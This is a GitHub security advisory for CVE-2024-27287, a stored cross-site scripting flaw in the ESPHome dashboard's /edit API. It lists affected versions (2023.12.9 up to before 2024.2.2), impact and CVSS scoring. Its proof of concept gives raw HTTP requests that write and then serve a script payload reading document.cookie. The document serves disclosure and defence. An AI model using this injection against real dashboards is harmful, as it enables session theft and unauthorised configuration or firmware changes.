Skip to content

esphome vulnerable to stored Cross-site Scripting in edit configuration file API

Moderate severity GitHub Reviewed Published Mar 5, 2024 in esphome/esphome • Updated Mar 6, 2024

Package

pip esphome (pip)

Affected versions

>= 2023.12.9, < 2024.2.2

Patched versions

2024.2.2

Description

Summary

Edit configuration file API in dashboard component of ESPHome version 2023.12.9 (command line installation and Home Assistant add-on) serves unsanitized data with “Content-Type: text/html; charset=UTF-8”, allowing remote authenticated user to inject arbitrary web script and exfiltrate session cookies via Cross-Site scripting (XSS).

Credits

Spike Reply Cybersecurity Teams

Details

It is possible for a malicious authenticated user to inject arbitrary Javascript in configuration files using a POST request to the /edit endpoint, the configuration parameter allows to specify the file to write.

To trigger the XSS vulnerability, the victim must visit the page /edit?configuration=[xss file].

PoC

To reproduce the issue, it is possible to perform a POST request to inject the payload:

request:
POST /edit?configuration=xss.yaml HTTP/1.1
Host: localhost:6052
User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:109.0) Gecko/20100101 Firefox/116.0
Accept: /
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate, br
Referer: http://localhost:6052/
Connection: close
Cookie: authenticated=[replace with valid cookie]
Sec-Fetch-Dest: empty
Sec-Fetch-Mode: cors
Sec-Fetch-Site: same-origin
Content-Length: 40

<script>alert(document.cookie);</script>

response:
HTTP/1.1 200 OK
Server: TornadoServer/6.3.3
Content-Type: text/html; charset=UTF-8
Date: Thu, 30 Nov 2023 11:02:27 GMT
Content-Length: 0
Connection: close

And subsequently trigger the XSS with a GET request to the same endpoint:

request:
GET /edit?configuration=xss.yaml HTTP/1.1
Host: localhost:6052
User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:109.0) Gecko/20100101 Firefox/116.0
Accept: /
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate, br
Referer: http://localhost:6052/
Connection: close
Cookie: authenticated=2|1:0|10:1701341719|13:authenticated|4:eWVz|0907127d7274094cc5a2490b95becf5c11fd52b8c3ee3655d65fe9fda099108c
Sec-Fetch-Dest: empty
Sec-Fetch-Mode: cors
Sec-Fetch-Site: same-origin
Content-Length: 0


response:
HTTP/1.1 200 OK
Server: TornadoServer/6.3.3
Content-Type: text/html; charset=UTF-8
Date: Thu, 30 Nov 2023 11:04:12 GMT
Etag: "ec6c9889f5c9a6c8e9d2d5e4ce1b1a85e6e7da2b"
Content-Length: 40
Connection: close

<script>alert(document.cookie);</script>

Impact

Abusing this vulnerability a malicious actor could perform operations on the dashboard on the behalf of a logged user, access sensitive information, create, edit and delete configuration files and flash firmware on managed boards.
In addition to this, cookies are not correctly secured, allowing the exfiltration of session cookie values.

Credits

Spike Reply Cybersecurity Team

References

@jesserockz jesserockz published to esphome/esphome Mar 5, 2024
Published to the GitHub Advisory Database Mar 6, 2024
Reviewed Mar 6, 2024
Last updated Mar 6, 2024

Severity

Moderate

CVSS overall score

This score calculates overall vulnerability severity from 0 to 10 and is based on the Common Vulnerability Scoring System (CVSS).
/ 10

CVSS v3 base metrics

Attack vector
Network
Attack complexity
Low
Privileges required
High
User interaction
None
Scope
Unchanged
Confidentiality
High
Integrity
High
Availability
None

CVSS v3 base metrics

Attack vector: More severe the more the remote (logically and physically) an attacker can be in order to exploit the vulnerability.
Attack complexity: More severe for the least complex attacks.
Privileges required: More severe if no privileges are required.
User interaction: More severe when no user interaction is required.
Scope: More severe when a scope change occurs, e.g. one vulnerable component impacts resources in components beyond its security scope.
Confidentiality: More severe when loss of data confidentiality is highest, measuring the level of data access available to an unauthorized user.
Integrity: More severe when loss of data integrity is the highest, measuring the consequence of data modification possible by an unauthorized user.
Availability: More severe when the loss of impacted component availability is highest.
CVSS:3.1/AV:N/AC:L/PR:H/UI:N/S:U/C:H/I:H/A:N

EPSS score

0.043%
(10th percentile)

Weaknesses

CVE ID

CVE-2024-27287

GHSA ID

GHSA-9p43-hj5j-96h5

Source code

Loading Checking history
See something to contribute? Suggest improvements for this vulnerability.